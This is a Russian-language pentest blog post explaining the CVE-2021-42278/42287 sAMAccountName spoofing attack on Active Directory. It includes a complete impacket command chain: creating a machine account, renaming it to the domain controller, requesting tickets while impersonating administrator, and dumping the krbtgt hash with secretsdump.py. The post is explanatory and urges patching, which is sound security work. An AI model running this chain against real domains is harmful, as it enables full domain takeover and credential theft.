
Сап, Хобр!
Значится, сидим мы с коллегой (пливет, @Acrono!) на площадке у Заказчика, воткнутые в скоммутированные сетевые розетки, да пентестим свои внутряки. Повсюду эти ваши 802.1x, AppLocker-ы, PowerShell CLM-ы, LAPS-ы, аверы лютуют, блоча попытки получить заветный хендл к lsass.exe, вся инфра на 2019-х серваках, небо над головой цвета экрана телевизора, настроенного на мертвый канал. В общем, страшный сон (этичного) хакера. И продолжается все это уже третий день. Благо сегодня все будет по-другому, благо сегодня я прочитал про спуфинг sAMAccountName по дороге в офис...
Intro
На днях исследователь Чарли Кларк (@exploitph, известен своим форком PowerView) опубликовал свежий способ эскалации привилегий в домене Active Directory, основанный на эксплуатации уязвимостей CVE-2021-42287 и CVE-2021-42278. Пачка CVE, связанных с этими уязвимостями, крутится в твиттерах уже около месяца и была оперативно исправлена «мелкомягкими» в рамках ноябрьского Patch Tuesday. Но, как известно, кто не успел, тот опоздал, поэтому домен админа мы с Acrono все же получили. Далее расскажу (и покажу), как это делается, но для начала немного теории.
Предыстория
CVE-2021-42278
Как оказалось, механизмы Active Directory не проверяют наличие символа $ в конце имени компьютерного аккаунта, хотя все машинные имена оканчиваются именно им. Этот небольшой «не баг, а фича» приводит к вполне себе большим последствиям в связке с уязвимостью CVE-2021-42287.
CVE-2021-42287
Когда клиент запрашивает тикет TGS, контроллер сперва смотрит в предоставленный им (клиентом) TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер тупо добавляет символ $ к этому имени и шифрует отправляемый TGS с использованием ключа объекта «имя$».
И чо дальше?
А что если мы переименуем какой-нибудь компьютер в контроллер домена, запросим для него TGT, переименуем компьютер обратно (неважно, в какое имя) и с использованием этого TGT запросим TGS на какую-либо службу (например, LDAP) этого, ныне уже не существующего, компьютера? Неужели мы получим билет, подписан��ый контроллером домена, на самого себя? Да не, бред, быть такого не может... Ведь так?
Практика
Нет, не так. Все сработает точно, как мы предположили. Продемонстрируем это. Так как эксплуатация уязвимости с Windows-системы, используя Powermad, PowerView и Rubeus, уже подробно описана автором первоначального исследования, я сделаю это удаленно с Linux-машины. В этом нам поможет Python и могущественная библиотека impacket.
0. ms-DS-MachineAccountQuota
Первым делом нам нужно создать машинную учетку. Это может прокрутить любой доменный пользователь при условии, что значение свойства ms-DS-MachineAccountQuota в домене AD больше нуля. Проверяем это с помощью go-windapsearch:
Cmd
windapsearch --dc 172.22.0.2 -d tinycorp.net -u j.doe -p 'P@$$w0rd' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=tinycorp,DC=net))' --attrs ms-ds-machineAccountQuota

1. addcomputer.py
Далее добавим машинную УЗ с помощью addcomputer.py:
Cmd
addcomputer.py -computer-name FromRussiaWithLove -computer-pass 'Passw0rd!' -dc-ip 172.22.0.2 -dc-host DC01.tinycorp.net tinycorp.net/j.doe:'P@$$w0rd'

2. renameMachine.py (1)
Успешно. Следующие два шага – убить SPN-ы, чтобы не было конфликтов при переименовании машины, и, собственно, сам ренейм. Здесь придется немного замарать руки и скопипастить написать пару строк кода. К счастью, ldap3 позволяет легко изменять свойства объектов LDAP. В нашем случае это можно сделать в две строки:
ldap_session.modify(<MACHINE_DN_OBJ>, {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]})
ldap_session.modify(<MACHINE_DN_OBJ>, {'sAMAccountName': [ldap3.MODIFY_REPLACE, ['<NEW_NAME>']]})']])Написанный на коленке скрипт можно подсмотреть туть.
Cmd
./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name 'FromRussiaWithLove$' -new-name DC01

3. getTGT.py
Что у нас дальше по плану? Верно – получаем TGT с помощью getTGT.py:
Cmd
getTGT.py tinycorp.net/DC01:'Passw0rd!' -dc-ip 172.22.0.2

4. renameMachine.py (2)
Переменовываем машинную учетку обратно:
Cmd
./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name DC01 -new-name 'FromRussiaWithLove$'

5. getST.py
Теперь самая интересная часть – получить тикет на службу нашего несуществующего компьютера, который магическим образом превратится в тикет на DC. Это можно сделать с помощью разновидности RBCD (англ. Resource-based Contrained Delegation) атаки. Активируя транзитное расширение S4U2self протокола Kerberos, мы можем заиметь такой TGS с помощью getST.py. До мастера impacket-а флаг -self еще не добрался, однако он уже добавлен в этом PR (подробности атаки можно глянуть в другом посте от @exploitph):
Cmd
KRB5CCNAME=DC01.ccache python3 impacket/examples/getST.py -spn LDAP/DC01.tinycorp.net tinycorp.net/DC01 -k -no-pass -dc-ip 172.22.0.2 -impersonate administrator -self

6. secretsdump.py
Вот и все, теперь у нас есть нужный тикет для DCSync-а и мы можем скомпрометировать критически важные учетные записи домена, используя secretsdump.py!
Cmd
KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.tinycorp.net -dc-ip 172.22.0.2 -just-dc-user 'TINYCORP\krbtgt'

Outro
Хочется привлечь внимание общественности к этой цепочке атак и призвать всех неравнодушных админов к наискорейшим патчам своих систем (даже несмотря на то, что нам, как пентестерам, это только добавит работы).
Информацию для BlueTeam-еров касательно детекта вредоносной активности в рамках описанного кейса можно найти в конце оригинального ресерча.
Спасибо за внимание и Happy Hacking!